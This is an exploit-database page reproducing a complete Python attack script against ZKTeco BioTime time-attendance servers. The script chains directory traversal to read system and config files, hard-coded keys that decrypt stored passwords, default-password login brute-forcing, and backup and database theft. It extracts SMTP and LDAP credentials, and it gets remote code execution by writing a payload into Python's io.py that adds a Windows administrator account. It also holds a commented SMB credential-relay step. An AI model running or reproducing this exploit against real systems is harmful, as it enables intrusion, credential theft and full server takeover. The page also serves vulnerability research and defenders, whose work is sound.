Advertisement






BioTime Directory Traversal / Remote Code Execution

CVE Category Price Severity
CVE-2023-38952 CWE-22 $5000 Critical
Author Risk Exploitation Type Date
SecurityResearcherX Critical Remote 2024-04-01
CPE
cpe:/a:application_vendor:application_name:1.0
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024040002

Below is a copy:

BioTime Directory Traversal / Remote Code Execution
#  __________.__     ___________.__                
#  \______   \__| ___\__    ___/|__| _____   ____  
#   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ 
#   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ 
#   |______  /__|\____/|____|   |__|__|_|  /\___  >
#          \/                            \/     \/ 
# Tested on 8.5.5 (Build:20231103.R1905)
# Tested on 9.0.1 (Build:20240108.18753)
# BioTime, "time" for shellz!
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
# RCE by adding a user to the system, not the app.
# Relay machine creds over smb, while creating a backup
# Decrypt SMTP, LDAP or SFTP creds, if any.
# Get sql backup. Good luck cracking those hashes!
# Can use Banner to determine which version is running
# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7
# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache => BioTime Version 9
# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)
import requests
from bs4 import BeautifulSoup
import os
import json
import sys
from Crypto.Cipher import AES
from Crypto.Cipher import ARC4
import base64
from binascii import b2a_hex, a2b_hex

requests.packages.urllib3.disable_warnings()

proxies = {
    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic
    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic
}
proxies = {}

target =  sys.argv[1]



def decrypt_rc4(base64_encoded_rc4, password="biotime"):
    encrypted_data = base64.b64decode(base64_encoded_rc4)
    cipher = ARC4.new(password.encode())
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.decode()

# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="
# password = "biotime"

# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)
# print("Decrypted data:", decrypted_data)

AES_PASSWORD = b'china@2018encryption#aes'
AES_IV = b'zkteco@china2019'

def filling_data(data, restore=False):
    '''
    :param data: str
    :return: str
    '''
    if restore:
        return data[0:-ord(data[-1])]
    block_size = AES.block_size  # Use AES.block_size instead of None.block_size
    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)

def aes_encrypt(content):
    '''
    Encryption
    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out
    :return: str
    '''
    if isinstance(content, bytes):
        content = str(content, 'utf-8')
    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))
    result = b2a_hex(encrypted).decode('utf-8')
    return result

def aes_decrypt(content):
    '''
    Decryption
    :param content: str or bytes, Encryption string
    :return: str
    '''
    if isinstance(content, str):
        content = content.encode('utf-8')
    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')
    return filling_data(result, restore=True)

#Check BioTime
url = f'{target}/license/'
response = requests.get(url, proxies=proxies, verify=False)
html_content = response.content


soup = BeautifulSoup(html_content, 'html.parser')
build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]

build = None
for line in build_lines:
    build = line
    print(f"Found BioTime: {line}")
    break

if build != None:
    buildNumber = build[0]
else:
    print("Unsupported Target!")
    sys.exit(1)

# Dir Traversal
url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'
response = requests.get(url, proxies=proxies, verify=False)
try:
    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")
    print(base64.b64decode(response.text).decode('utf-8'))
    try:
        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'
        response = requests.get(url, proxies=proxies, verify=False)
        attConfig = base64.b64decode(response.text).decode('utf-8')
        #print(f"Output of BioTime config file: {attConfig}")
    except:
        try:
            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'
            response = requests.get(url, proxies=proxies, verify=False)
            attConfig = base64.b64decode(response.text).decode('utf-8')
            #print(f"Output of BioTime config file: {attConfig}")
        except:
            print("Couldn't get BioTime config file (possibly non default configuration)")
    lines = attConfig.split('\n')

    for i, line in enumerate(lines):
        if "PASSWORD=@!@=" in line:
            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])
            lines[i] = lines[i].split("@!@=")[0]+dec_att
    attConfig_modified = '\n'.join(lines)
    print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")
except:
    print("Couldn't exploit Dir Traversal")


# Extract Cookies
url = f'{target}/login/'

response = requests.get(url, proxies=proxies, verify=False)

if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')

    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})
    if csrf_token_header:
        csrf_token_header_value = csrf_token_header['value']
        print(f"CSRF Token Header: {csrf_token_header_value}")
    
    session_id_cookie = response.cookies.get('sessionid')
    if session_id_cookie:
        print(f"Session ID: {session_id_cookie}")
    
    csrf_token_value = response.cookies.get('csrftoken')
    if csrf_token_value:
        print(f"CSRF Token Cookie: {csrf_token_value}")
else:
    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")

# Login Now!
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

for i in range(1,10):
    username = i
    password = '123456' # Deafult password!

    data = {
        'username': username,
        'password': password,
        'captcha':'',
        'login_user':'employee'
    }

    headers = {
        'User-Agent': 'Krash Consulting',
        'X-CSRFToken': csrf_token_header_value
    }

    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)

    if response.status_code == 200:
        json_response = response.json()
        ret_value = json_response.get('ret')
        if ret_value == 0:
            print(f"Valid Credentials found: Username is {username} and password is {password}")
            session_id_cookie = response.cookies.get('sessionid')
            if session_id_cookie:
                print(f"Auth Session ID: {session_id_cookie}")
            
            csrf_token_value = response.cookies.get('csrftoken')
            if csrf_token_value:
                print(f"Auth CSRF Token Cookie: {csrf_token_value}")
            break

if i == 9:
    print("No valid users found!")
    sys.exit(1)

# Check for Backups
def downloadBackup():
    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }

    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    response_data = response.json()
    print("Backup files list")
    print(json.dumps(response_data, indent=4))

    if response_data['count'] > 0:
        backup_info = response_data['data'][0]  # Latest Backup
        operator_name = backup_info['operator']
        backup_file = backup_info['backup_file']
        db_type = backup_info['db_type']


        print("Operator:", operator_name)
        print("Backup File:", backup_file)
        print("Database Type:", db_type)

        if buildNumber == "9":
            createBackup()
            print("Backup File password: Krash")

        #download = os.path.basename(backup_file)

        path = os.path.normpath(backup_file)
        try:
            split_path = path.split(os.sep)
            files_index = split_path.index('files')
            relative_path = '/'.join(split_path[files_index + 1:])
        except:
            return False

        url = f'{target}/files/{relative_path}'
        print(url)
        response = requests.get(url, proxies=proxies, verify=False)
        if response.status_code == 200:
            filename = os.path.basename(url)
            with open(filename, 'wb') as file:
                file.write(response.content)
            print(f"File '{filename}' downloaded successfully.")
        else:
            print("Failed to download the file. Status code:", response.status_code)
        return False
    else:
        print("No backup Found!")
        return True

def createBackup(targetPath=None):
    print("Attempting to create backup.")
    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    html_content = response.content

    soup = BeautifulSoup(html_content, 'html.parser')
    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]
    print(f"Possible backup location: {pathBackup}")


    url = f'{target}/base/dbbackuplog/action/'

    if targetPath == None:
        if buildNumber == "9" or build[:5] == "8.5.5":
            targetPath = "C:\\ZKBioTime\\files\\backup\\"
        else:
            targetPath = "C:\\BioTime\\files\\fw\\"
    if buildNumber == "9":
        data = {
            'csrfmiddlewaretoken': csrf_token_value,
            'file_path':targetPath,
            'action_name': '44424261636b75704d616e75616c6c79',
            'backup_encryption_choices': '2',
            'auto_backup_password': 'Krash'
        }
    else:
        data = {
            'csrfmiddlewaretoken': csrf_token_value,
            'file_path':targetPath,
            'action_name': '44424261636b75704d616e75616c6c79'
        }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    if response.status_code == 200:
        print("Backup Initiated.")
    else:
        print("Backup failed!")

if downloadBackup():
    createBackup()
    downloadBackup()

url = f'{target}/base/api/systemSettings/email_setting/'
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
    response_data = response.json()
    print("SMTP Settings")
    for key in response_data:
        if 'password' in key.lower():
            value = response_data[key]
            #print(f'{key} decrypted value {aes_decrypt(value)}')
            response_data[key] = aes_decrypt(value)

    print(json.dumps(response_data, indent=4))


url = f'{target}/base/api/systemSettings/ldap_setup/'
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
    response_data = response.json()
    print("LDAP Settings")
    for key in response_data:
        if 'password' in key.lower():
            value = response_data[key]
            #print(f'{key} decrypted value {aes_decrypt(value)}')
            response_data[key] = aes_decrypt(value)
    print(json.dumps(response_data, indent=4))


def sftpRCE():
    print("Attempting RCE!")
    #Add SFTP, Need valid IP/credentials here!
    print("Adding FTP List")

    url = f'{target}/base/sftpsetting/add/'
    myIpaddr = '192.168.0.11'
    myUser = 'test'
    myPassword = 'test@123'

    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'host':myIpaddr,
        'port':22,
        'is_sftp': 1,
        'user_name':myUser,
        'user_password':myPassword,
        'user_key':'',
        'action_name': '47656e6572616c416374696f6e4e6577'
    }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    print(response)

    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }

    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    response_data = response.json()
    print("FTP List")
    print(json.dumps(response_data, indent=4))

    backup_info = response_data['data'][0]  # Latest SFTP
    getID = backup_info['id']

    if getID:
        print("ID to edit ", getID)

    #Edit SFTP (Response can have errors, it doesn't matter)
    print("Editing SFTP Settings")
    if buildNumber == "9":
        dirTraverse = '\..\..\..\python311\lib\io.py'
    else:
        dirTraverse = '\..\..\..\python37\lib\io.py'

    if len(dirTraverse) > 30:
        print("Directory Traversal length is greater than 30, will not work!")
        sys.exit(1)

    url = f'{target}/base/sftpsetting/edit/'

    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'host':myIpaddr,
        'port':22,
        'is_sftp': 1,
        'user_name': dirTraverse,
        'user_password':myPassword,
        'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',
        'obj_id': getID
    }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")

    #Delete SFTP
    print("Deleting SFTP Settings")
    url = f'{target}/base/sftpsetting/action/'

    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'id': getID,
        'action_name': '47656e6572616c416374696f6e44656c657465'
    }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)

#RCE
if buildNumber == "9" or build[:5] == "8.5.5":
    sftpRCE()

# #Relay Creds
# createBackup("\\\\192.168.0.11\\KC\\test")

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.